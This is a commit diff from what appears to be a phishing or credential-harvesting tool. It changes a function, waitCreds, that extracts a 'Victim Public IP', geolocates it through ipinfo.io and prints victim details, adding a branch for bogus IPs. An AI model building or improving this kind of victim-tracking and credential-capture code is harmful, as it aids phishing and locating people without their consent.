Fix for bogus IP's for Termux. Rel #50

This commit is contained in:
alexmozzhakov 2018-06-20 19:05:45 +03:00
parent 41c9e16a0a
commit 8c3896ab2f

View File

@ -152,6 +152,10 @@ def waitCreds():
ip = re.match('Victim Public IP: (.*?)\n', lines).group(1)
resp = urlopen('https://ipinfo.io/%s/json' % ip).read()
ipinfo = json.loads(resp)
if (ipinfo['bogon'] != None):
print ('======================================================================'.format(RED, END))
print (' \n{0}[ VICTIM IP BOGUS ]{1}:\n {0}%s{1}'.format(GREEN, END) % lines)
else:
matchObj = re.match('^(.*?),(.*)$', ipinfo['loc'])
latitude = matchObj.group(1)
longitude = matchObj.group(2)